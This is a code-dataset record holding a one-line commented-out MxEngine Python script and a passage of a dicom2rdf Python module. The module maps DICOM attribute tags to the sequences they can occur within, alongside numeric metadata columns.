| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
30d2dabf6e94c744e50156327545f8e5a278efba
| 46
|
py
|
Python
|
SandboxApplication/Resources/scripts/update.py
|
WhiteBlackGoose/MxEngine
|
41018d0e6ceb7d760be22721865cd88cca362a1d
|
[
"BSD-3-Clause"
] | 1
|
2021-06-18T15:53:41.000Z
|
2021-06-18T15:53:41.000Z
|
SandboxApplication/Resources/scripts/update.py
|
WhiteBlackGoose/MxEngine
|
41018d0e6ceb7d760be22721865cd88cca362a1d
|
[
"BSD-3-Clause"
] | null | null | null |
SandboxApplication/Resources/scripts/update.py
|
WhiteBlackGoose/MxEngine
|
41018d0e6ceb7d760be22721865cd88cca362a1d
|
[
"BSD-3-Clause"
] | null | null | null |
#mx.scene.get_object("py_arc").rotate(dt(), 0)
| 46
| 46
| 0.695652
| 9
| 46
| 3.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.022222
| 0.021739
| 46
| 1
| 46
| 46
| 0.644444
| 0.978261
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
ebc03896c24c13f75abb7f2aa8fd4693d5fd73a1
| 143,474
|
py
|
Python
|
sequencesbyattribute.py
|
Bonubase/dicom2rdf
|
d32434f7c78af3247b5d0217b5d0113e1e4cb5a8
|
[
"BSD-3-Clause"
] | 3
|
2016-05-24T09:43:15.000Z
|
2021-09-04T13:06:05.000Z
|
sequencesbyattribute.py
|
jjmacagnan/dicom2rdf
|
0bccc1808a4bf40082605e8519ecbedec1eff4b7
|
[
"BSD-3-Clause"
] | null | null | null |
sequencesbyattribute.py
|
jjmacagnan/dicom2rdf
|
0bccc1808a4bf40082605e8519ecbedec1eff4b7
|
[
"BSD-3-Clause"
] | 1
|
2019-09-03T00:08:40.000Z
|
2019-09-03T00:08:40.000Z
|
# list of possible sequences an attribute can occur within by attribute
sequencesbyattribute={
# ICCProfile
0x00282000L: [0x00880200L, 0x00480105L],
# HL7InstanceIdentifier
0x0040E001L: [0x00081199L, 0x00380100L, 0x0040A390L],
# SamplesPerPixel
0x00280002L: [0x00880200L, 0x20200110L, 0x20200111L, 0x00480200L],
# ScheduledProcedureStepStartTime
0x00400003L: [0x00400100L],
# PhotometricInterpretation
0x00280004L: [0x00880200L, 0x20200110L, 0x20200111L],
# ScheduledProcedureStepEndTime
0x00400005L: [0x00400100L],
# PlanarConfiguration
0x00280006L: [0x00880200L, 0x20200111L],
# ScheduledStationAETitle
0x00400001L: [0x00400100L],
# CylinderLensPower
0x00220008L: [0x0022001BL, 0x00240112L],
# HumanPerformerCodeSequence
0x00404009L: [0x00404035L, 0x00404034L],
# SurfaceProcessingRatio
0x0066000AL: [0x00660002L],
# ReferencedSegmentNumber
0x0062000BL: [0x00081199L, 0x30060016L, 0x00081140L, 0x00089121L, 0x00220021L, 0x00220022L, 0x00089410L, 0x00082112L, 0x00700314L, 0x0008114AL, 0x0062000AL, 0x0066002EL, 0x0040A730L, 0x00220031L, 0x300A0401L],
# RequestedMediaApplicationProfile
0x2200000CL: [0x00081199L, 0x00081198L],
# StudyInstanceUID
0x0020000DL: [0x0040A370L, 0x00089121L, 0x0008113AL, 0x00089092L, 0x00089154L, 0x00089237L, 0x00081200L, 0x00400270L, 0x00404021L, 0x00400275L, 0x00081250L, 0x00700402L, 0x00700404L, 0x00209529L, 0x00404033L, 0x00404022L, 0x0040A360L, 0x0040A525L, 0x0040A375L, 0x0040A385L],
# FailureAttributes
0x2200000EL: [0x00081198L],
# PreDeformationMatrixRegistrationSequence
0x0064000FL: [0x00640002L],
# Rows
0x00280010L: [0x00880200L, 0x00189506L, 0x20200110L, 0x20200111L, 0x200000A8L],
# Columns
0x00280011L: [0x00880200L, 0x00189506L, 0x20200110L, 0x20200111L, 0x200000A8L],
# PreMedication
0x00400012L: [0x00400100L],
# SurfaceNumber
0x00660003L: [0x00660002L],
# ContrastBolusAdministrationRouteSequence
0x00180014L: [0x00180012L],
# NominalBeamEnergyUnit
0x300A0015L: [0x30080040L],
# PlacerOrderNumberImagingServiceRequest
0x00402016L: [0x0040A370L, 0x00400270L],
# FillerOrderNumberImagingServiceRequest
0x00402017L: [0x0040A370L, 0x00400270L],
# MeanPointDistance
0x00660018L: [0x00660011L],
# ScheduledProcedureStepEndDate
0x00400004L: [0x00400100L],
# PointsBoundingBoxCoordinates
0x0066001AL: [0x00660011L],
# AxisOfRotation
0x0066001BL: [0x00660011L],
# MydriaticAgentCodeSequence
0x0022001CL: [0x00220058L],
# ContainerComponentDiameter
0x0050001DL: [0x00400520L],
# NumberOfVectors
0x0066001EL: [0x00660012L],
# DeformableRegistrationGridSequence
0x00640005L: [0x00640002L],
# ScheduledProcedureStepStatus
0x00400020L: [0x00400100L],
# ClinicalTrialProtocolName
0x00120021L: [0x00380502L],
# ReferencedFractionGroupNumber
0x300C0022L: [0x30080220L, 0x00741020L, 0x300C0020L],
# ReferencedGeneralPurposeScheduledProcedureStepTransactionUID
0x00404023L: [0x00404016L],
# IssuerOfPatientIDQualifiersSequence
0x00100024L: [0x00101002L],
# ProcedureStepProgressDescription
0x00741006L: [0x00741002L],
# OrderPlacerIdentifierSequence
0x00400026L: [0x0040A370L, 0x00400270L],
# InterventionDrugStopTime
0x00180027L: [0x00180036L, 0x00180026L],
# InterventionDrugDose
0x00180028L: [0x00180026L],
# InterventionDrugCodeSequence
0x00180029L: [0x00180036L, 0x00180026L],
# ROIDisplayColor
0x3006002AL: [0x30060039L],
# TreatmentTerminationCode
0x3008002BL: [0x30080020L, 0x30080021L, 0x30080110L],
# ReferencedSurfaceNumber
0x0066002CL: [0x00686360L, 0x0066002BL],
# OrganAtRiskOverdoseVolumeFraction
0x300A002DL: [0x300A0010L, 0x300C0050L],
# ImplantTemplateGroupMemberID
0x0078002EL: [0x0078002AL],
# AlgorithmFamilyCodeSequence
0x0066002FL: [0x00240083L, 0x00240085L, 0x00240344L, 0x00660035L, 0x0066002DL, 0x00240065L, 0x00240067L],
# RepositoryUniqueID
0x0040E030L: [0x0040E024L],
# HomeCommunityID
0x0040E031L: [0x0040E024L],
# AlgorithmParameters
0x00660032L: [0x00240083L, 0x00240085L, 0x00240344L, 0x00660035L, 0x0066002DL, 0x00240065L, 0x00240067L],
# UniversalEntityIDType
0x00400033L: [0x00080051L, 0x00400026L, 0x00400027L, 0x00380014L, 0x00380064L, 0x00100024L, 0x00400036L, 0x00400513L, 0x00400562L],
# PixelAspectRatio
0x00280034L: [0x00880200L, 0x20200110L, 0x20200111L],
# InterventionDrugStartTime
0x00180035L: [0x00180036L, 0x00180026L],
# AlgorithmName
0x00660036L: [0x00240083L, 0x00240085L, 0x00240344L, 0x00660035L, 0x0066002DL, 0x00240065L, 0x00240067L],
# HumanPerformerName
0x00404037L: [0x00404035L, 0x00404034L],
# InterventionStatus
0x00180038L: [0x00180036L],
# ExcessiveFixationLossesDataFlag
0x00240039L: [0x00240032L],
# InterventionDescription
0x0018003AL: [0x00180036L],
# DeliveredTreatmentTime
0x3008003BL: [0x30080020L, 0x30080021L],
# AbstractPriorValue
0x0072003CL: [0x00720030L],
# ReasonForRequestedProcedureCodeSequence
0x0040100AL: [0x00400275L, 0x0072000CL, 0x0040A370L],
# AbstractPriorCodeSequence
0x0072003EL: [0x00720030L],
# TMLinePositionY0
0x0018603FL: [0x00186011L],
# ExcessiveFixationLosses
0x00240040L: [0x00240032L],
# TMLinePositionX1
0x00186041L: [0x00186011L],
# ContourGeometricType
0x30060042L: [0x30060040L],
# ConceptNameCodeSequence
0x0040A043L: [0x00400440L, 0x00400441L, 0x00440013L, 0x00741210L, 0x00240325L, 0x00221262L, 0x00221092L, 0x00440019L, 0x0040A730L, 0x00400612L, 0x00400620L, 0x0040B020L, 0x00400555L, 0x00741212L],
# ContourSlabThickness
0x30060044L: [0x30060040L],
# FalseNegativesEstimateFlag
0x00240045L: [0x00240034L],
# BeamLimitingDeviceAngleTolerance
0x300A0046L: [0x300A03A0L, 0x300A0040L],
# ScanSpotMetersetsDelivered
0x30080047L: [0x30080041L],
# NegativeCatchTrials
0x00240048L: [0x00240034L],
# AttachedContours
0x30060049L: [0x30060040L],
# BeamLimitingDevicePositionTolerance
0x300A004AL: [0x300A0048L],
# SnoutPositionTolerance
0x300A004BL: [0x300A03A0L],
# PatientSupportAngleTolerance
0x300A004CL: [0x300A03A0L, 0x300A0040L],
# IssuerOfTheSpecimenIdentifierSequence
0x00400562L: [0x00400560L],
# MydriaticAgentConcentration
0x0022004EL: [0x00220058L],
# TableTopPitchAngleTolerance
0x300A004FL: [0x300A03A0L, 0x300A0040L],
# AccessionNumber
0x00080050L: [0x0040A370L, 0x00400270L, 0x00400275L],
# IssuerOfAccessionNumberSequence
0x00080051L: [0x0040A370L, 0x00400270L, 0x00400275L],
# FluenceModeID
0x30020052L: [0x30020050L],
# FalsePositivesEstimateFlag
0x00240053L: [0x00240034L],
# RetrieveAETitle
0x00080054L: [0x0040E021L, 0x00081115L, 0x00081199L, 0x00400340L],
# SeriesInstanceUID
0x0020000EL: [0x00081115L, 0x00404021L, 0x00081250L, 0x00400340L, 0x30060014L, 0x00404033L],
# PositiveCatchTrials
0x00240056L: [0x00240034L],
# TableOfPixelValues
0x00186058L: [0x00186011L],
# GlobalDeviationProbabilityNormalsFlag
0x00240059L: [0x00240064L],
# NumberOfFractionsDelivered
0x3008005AL: [0x30080220L],
# SegmentedPropertyTypeCodeSequence
0x0062000FL: [0x00620002L],
# FalsePositives
0x00240060L: [0x00240034L],
# PixelData
0x7FE00010L: [0x00880200L, 0x20200110L, 0x20200111L],
# ExcessiveFalsePositives
0x00240062L: [0x00240034L],
# ParameterItemIndex
0x30080063L: [0x30080068L, 0x30080060L],
# SelectorISValue
0x00720064L: [0x00720022L, 0x00720400L],
# ParameterPointer
0x30080065L: [0x30080068L],
# GlobalDeviationFromNormal
0x00240066L: [0x00240064L],
# ScheduledProcedureStepLocation
0x00400011L: [0x00400100L],
# LocalizedDeviationfromNormal
0x00240068L: [0x00240064L],
# ReferencedPatientSetupNumber
0x300C006AL: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x30080021L],
# SelectorSHValue
0x0072006CL: [0x00720022L, 0x00720400L],
# MIMETypeOfEncapsulatedDocument
0x00420012L: [0x00686265L, 0x00686260L],
# Laterality
0x00200060L: [0x0072000CL],
# ImplantTemplateGroupMemberMatching2DCoordinatesSequence
0x00780070L: [0x0078002AL],
# GlobalDeviationProbability
0x00240071L: [0x00240083L],
# LocalDeviationProbabilityNormalsFlag
0x00240072L: [0x00240064L],
# LocalizedDeviationProbability
0x00240073L: [0x00240085L],
# SelectorFDValue
0x00720074L: [0x00720022L, 0x00720400L],
# RadiusOfCurvature
0x00460075L: [0x00460074L, 0x00460080L],
# SelectorFLValue
0x00720076L: [0x00720022L, 0x00720400L],
# KeratometricAxis
0x00460077L: [0x00460074L, 0x00460080L],
# StartMeterset
0x30080078L: [0x300C0040L],
# StereoRotation
0x00220014L: [0x00220020L],
# EndMeterset
0x3008007AL: [0x300C0040L],
# FractionPattern
0x300A007BL: [0x300A0070L],
# SelectorSLValue
0x0072007CL: [0x00720022L, 0x00720400L],
# SelectorSSValue
0x0072007EL: [0x00720022L, 0x00720400L],
# NumberOfSurfacePoints
0x00660015L: [0x00660011L],
# RepetitionTime
0x00180080L: [0x00189112L],
# InstitutionAddress
0x00080081L: [0x0040000BL, 0x300A03A2L, 0x300A00B0L, 0x00700086L, 0x00081052L, 0x00081072L, 0x300A0206L, 0x00080096L, 0x00321031L, 0x00401011L, 0x00081049L, 0x00081062L, 0x0018A001L],
# InstitutionCodeSequence
0x00080082L: [0x0040000BL, 0x00700086L, 0x00081052L, 0x00081072L, 0x00080096L, 0x00321031L, 0x0040A078L, 0x0040A07AL, 0x0040A07CL, 0x00401011L, 0x00081049L, 0x00081062L],
# GlobalDeviation
0x00240083L: [0x00240064L],
# ReferencedROINumber
0x30060084L: [0x30060039L, 0x300C00B0L, 0x300A0260L, 0x300A0280L, 0x300A02B0L, 0x300A0010L, 0x30040060L, 0x30060080L, 0x30060030L, 0x30040010L],
# LocalizedDeviation
0x00240085L: [0x00240064L],
# BeamMeterset
0x300A0086L: [0x300C0004L],
# BeamDosePointDepth
0x300A0088L: [0x300C0050L, 0x300C0004L],
# BeamDosePointEquivalentDepth
0x300A0089L: [0x300C0050L, 0x300C0004L],
# BeamDosePointSSD
0x300A008AL: [0x300C0050L, 0x300C0004L],
# PointPositionAccuracy
0x00660017L: [0x00660011L],
# PatientPosition
0x00185100L: [0x300A0180L],
# TwoDImplantTemplateGroupMemberMatchingPoint
0x00780090L: [0x00780070L],
# EchoTrainLength
0x00180091L: [0x00189112L],
# ReferencedCalculatedDoseReferenceNumber
0x30080092L: [0x30080090L],
# PercentSampling
0x00180093L: [0x00189103L, 0x00189125L],
# PercentPhaseFieldOfView
0x00180094L: [0x00189103L, 0x00189125L],
# PixelBandwidth
0x00180095L: [0x00189006L],
# RetestSensitivityValue
0x00240096L: [0x00240089L],
# MaximumPointDistance
0x00660019L: [0x00660011L],
# QuantifiedDefect
0x00240098L: [0x00240089L],
# MACIDNumber
0x04000005L: [0x4FFE0001L, 0xFFFAFFFAL],
# NominalPriorDose
0x300A001AL: [0x300A0010L],
# TwoDImplantTemplateGroupMemberMatchingAxes
0x007800A0L: [0x00780070L],
# PrintingBitDepth
0x200000A1L: [0x2000001EL],
# BrachyApplicationSetupDoseSpecificationPoint
0x300A00A2L: [0x300C000AL],
# ContainerComponentID
0x0050001BL: [0x00400520L],
# BrachyApplicationSetupDose
0x300A00A4L: [0x300C000AL],
# DefaultMagnificationType
0x201000A6L: [0x2000001EL],
# OtherMagnificationTypesAvailable
0x201000A7L: [0x2000001EL],
# SupportedImageDisplayFormatsSequence
0x200000A8L: [0x2000001EL],
# CenterOfRotation
0x0066001CL: [0x00660011L],
# RefractiveSurgeryTypeCodeSequence
0x00221040L: [0x00221300L, 0x00221310L],
# ReferencedBolusSequence
0x300C00B0L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L],
# ImplantTemplateGroupVariationDimensionName
0x007800B2L: [0x007800B0L],
# PrimaryDosimeterUnit
0x300A00B3L: [0x300A03A2L, 0x300A00B0L, 0x00741020L],
# ImplantTemplateGroupVariationDimensionRankSequence
0x007800B4L: [0x007800B0L],
# RegionLocationMaxY1
0x0018601EL: [0x00186011L],
# ReferencedImplantTemplateGroupMemberID
0x007800B6L: [0x007800B4L],
# ROIElementalCompositionAtomicNumber
0x300600B7L: [0x300600B6L],
# ImplantTemplateGroupVariationDimensionRank
0x007800B8L: [0x007800B4L],
# ScheduledPerformingPhysicianName
0x00400006L: [0x00400100L],
# IsocenterToBeamLimitingDeviceDistance
0x300A00BBL: [0x300A03A4L],
# NumberOfLeafJawPairs
0x300A00BCL: [0x300A03A4L, 0x300A00B6L, 0x300800A0L],
# LeafPositionBoundaries
0x300A00BEL: [0x300A03A4L, 0x300A00B6L],
# Component2ReferencedMatingFeatureID
0x007600C0L: [0x00760060L],
# DoseReferenceType
0x300A0020L: [0x300A0010L],
# BeamName
0x300A00C2L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L],
# BeamDescription
0x300A00C3L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x30080021L],
# BeamType
0x300A00C4L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x30080021L],
# FrameOfReferenceTransformationMatrix
0x300600C6L: [0x0070030AL, 0x0064000FL, 0x00640010L, 0x300600C0L],
# DICOMRetrievalSequence
0x0040E021L: [0x00404021L, 0x00404033L],
# FrameOfReferenceTransformationComment
0x300600C8L: [0x00700309L, 0x00640002L, 0x300600C0L],
# PlannedVerificationImageSequence
0x300A00CAL: [0x300A00B0L],
# ImagingDeviceSpecificAcquisitionParameters
0x300A00CCL: [0x300A00CAL],
# ReferencePixelY0
0x00186022L: [0x00186011L],
# TreatmentDeliveryType
0x300A00CEL: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x30080021L, 0x30080110L, 0x00741020L],
# TextObjectSequence
0x00700008L: [0x00700001L],
# ReferencedCompensatorNumber
0x300C00D0L: [0x300800C0L],
# WedgeSequence
0x300A00D1L: [0x300A00B0L],
# WedgeNumber
0x300A00D2L: [0x300A03AAL, 0x300A00D1L, 0x300800B0L],
# WedgeType
0x300A00D3L: [0x300A03AAL, 0x300A00D1L, 0x300800B0L],
# WedgeID
0x300A00D4L: [0x300A03AAL, 0x300A00D1L, 0x300800B0L],
# WedgeAngle
0x300A00D5L: [0x300A03AAL, 0x300A00D1L, 0x300800B0L],
# WedgeFactor
0x300A00D6L: [0x300A00D1L],
# TotalWedgeTrayWaterEquivalentThickness
0x300A00D7L: [0x300A03A2L],
# WedgeOrientation
0x300A00D8L: [0x300A03AAL, 0x300A00D1L, 0x300800B0L],
# IsocenterToWedgeTrayDistance
0x300A00D9L: [0x300A03AAL],
# SourceToWedgeTrayDistance
0x300A00DAL: [0x300A00D1L],
# WedgeThinEdgePosition
0x300A00DBL: [0x300A03ACL],
# BolusID
0x300A00DCL: [0x300C00B0L],
# BolusDescription
0x300A00DDL: [0x300C00B0L],
# TargetMinimumDose
0x300A0025L: [0x300A0010L, 0x300C0050L],
# NumberOfCompensators
0x300A00E0L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L],
# MaterialID
0x300A00E1L: [0x300A02EAL, 0x300A03A6L, 0x300A00E3L, 0x300A00F4L, 0x300A0210L, 0x300A0260L, 0x300A0280L, 0x300A02B0L, 0x30060080L],
# TotalCompensatorTrayFactor
0x300A00E2L: [0x300A00B0L],
# CompensatorSequence
0x300A00E3L: [0x300A00B0L],
# CompensatorNumber
0x300A00E4L: [0x300A02EAL, 0x300A00E3L],
# RTImageSID
0x30020026L: [0x300A00CAL],
# SourceToCompensatorTrayDistance
0x300A00E6L: [0x300A00E3L],
# CompensatorRows
0x300A00E7L: [0x300A02EAL, 0x300A00E3L],
# CompensatorColumns
0x300A00E8L: [0x300A02EAL, 0x300A00E3L],
# CompensatorPixelSpacing
0x300A00E9L: [0x300A02EAL, 0x300A00E3L],
# CompensatorPosition
0x300A00EAL: [0x300A02EAL, 0x300A00E3L],
# OrderFillerIdentifierSequence
0x00400027L: [0x0040A370L, 0x00400270L],
# CompensatorThicknessData
0x300A00ECL: [0x300A02EAL, 0x300A00E3L],
# NumberOfBoli
0x300A00EDL: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L],
# CompensatorType
0x300A00EEL: [0x300A00E3L, 0x300800C0L],
# NumberOfBlocks
0x300A00F0L: [0x300A03A2L, 0x300A00B0L, 0x30080020L, 0x00741042L, 0x30080021L, 0x30020030L],
# SelectorValueNumber
0x00720028L: [0x00741048L, 0x0074104AL, 0x00720022L, 0x00720400L, 0x00720600L],
# TotalBlockTrayFactor
0x300A00F2L: [0x300A00B0L],
# TotalBlockTrayWaterEquivalentThickness
0x300A00F3L: [0x300A03A2L],
# BlockSequence
0x300A00F4L: [0x300A00B0L, 0x30020030L],
# BlockTrayID
0x300A00F5L: [0x300A03A6L, 0x300A00F4L, 0x300800D0L],
# ScheduledProtocolCodeSequence
0x00400008L: [0x00400100L, 0x00400270L, 0x00400275L],
# IsocenterToBlockTrayDistance
0x300A00F7L: [0x300A03A6L],
# BlockType
0x300A00F8L: [0x300A03A6L, 0x300A00F4L],
# AccessoryCode
0x300A00F9L: [0x300A03AAL, 0x300A02EAL, 0x300C00B0L, 0x300A03A6L, 0x300A030CL, 0x300A0107L, 0x300A0420L, 0x300A0314L, 0x300A0332L, 0x300A0342L, 0x300A00D1L, 0x300A00E3L, 0x300A00F4L, 0x300800B0L, 0x300800C0L, 0x300800D0L, 0x300A0190L, 0x300800F0L, 0x300800F2L, 0x300800F4L, 0x300800F6L, 0x300A01A0L, 0x300A01B4L],
# BlockDivergence
0x300A00FAL: [0x300A03A6L, 0x300A00F4L],
# BlockMountingPosition
0x300A00FBL: [0x300A03A6L, 0x300A00F4L],
# BlockNumber
0x300A00FCL: [0x300A03A6L, 0x300A00F4L],
# AcquisitionDateTime
0x0008002AL: [0x00189506L],
# BlockName
0x300A00FEL: [0x300A03A6L, 0x300A00F4L, 0x300800D0L],
# CodeValue
0x00080100L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# BitsStored
0x00280101L: [0x00880200L, 0x00189506L, 0x20200110L, 0x20200111L],
# CodingSchemeDesignator
0x00080102L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00080110L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# OrganAtRiskLimitDose
0x300A002BL: [0x300A0010L, 0x300C0050L],
# CodeMeaning
0x00080104L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 0x00221101L, 0x003A0208L, 0x00189772L, 0x00240016L, 0x00240021L, 0x00240024L, 0x00281352L, 0x00500010L, 0x00082133L, 0x00189809L, 0x0018980DL, 0x0018980EL, 0x0018980FL, 0x00220015L, 0x00220016L, 0x00220017L, 0x00220018L, 0x00220019L, 0x0040E008L, 0x00120064L, 0x00404031L, 0x00404032L, 0x04000401L, 0x00321034L, 0x00404004L, 0x0074100EL, 0x0040A088L, 0x0040A372L, 0x00409098L, 0x00620003L, 0x0062000FL, 0x00400039L, 0x0040003AL, 0x00480100L, 0x00480108L, 0x006862E0L, 0x006862C0L, 0x00700311L, 0x00189346L, 0x00400518L, 0x00500012L, 0x0040059AL, 0x0040A301L, 0x003A0209L, 0x003A0211L, 0x00185104L, 0x00082228L, 0x00220006L, 0x00400320L, 0x00400296L, 0x00400295L, 0x00082230L, 0x0040A195L, 0x30060086L, 0x00221040L, 0x00221103L, 0x00221132L, 0x00221133L, 0x00221135L, 0x00221028L, 0x00221024L, 0x00221025L],
# MappingResource
0x00080105L: [0x00180036L, 0x00180029L, 0x00540302L, 0x0040000AL, 0x00540220L, 0x00540222L, 0x00321064L, 0x00082218L, 0x00082220L, 0x00240033L, 0x00400260L, 0x00540300L, 0x00540304L, 0x00404009L, 0x00404028L, 0x00404029L, 0x00404030L, 0x00404007L, 0x00404019L, 0x0022001CL, 0x00220042L, 0x00400008L, 0x0070030DL, 0x00089215L, 0x00440007L, 0x00221096L, 0x00221250L, 0x00221035L, 0x00221044L, 0x00460121L, 0x00520016L, 0x00720080L, 0x0040A043L, 0x0040A168L, 0x004008EAL, 0x00100050L, 0x00100101L, 0x00100102L, 0x00101021L, 0x00102202L, 0x00102293L, 0x00102296L, 0x0040A170L, 0x0008103FL, 0x00404025L, 0x00404026L, 0x00404027L, 0x00404018L, 0x00180012L, 0x00180014L, 0x00189338L, 0x00540410L, 0x00540412L, 0x00540414L, 0x0022001DL, 0x00082229L, 0x00081032L, 0x00401012L, 0x00400281L, 0x00686545L, 0x0066002FL, 0x00660030L, 0x00221150L, 0x0022001AL, 0x00080006L, 0x0018002AL, 0x0040100AL, 0x006862A0L, 0x006863A0L, 0x006863A4L, 0x006863A8L, 0x006863ACL, 0x00760020L, 0x00760032L, 0x0072003EL, 0x0072000EL, 0x00221125L, 0x00401101L, 0x00080082L, 0x00081084L, 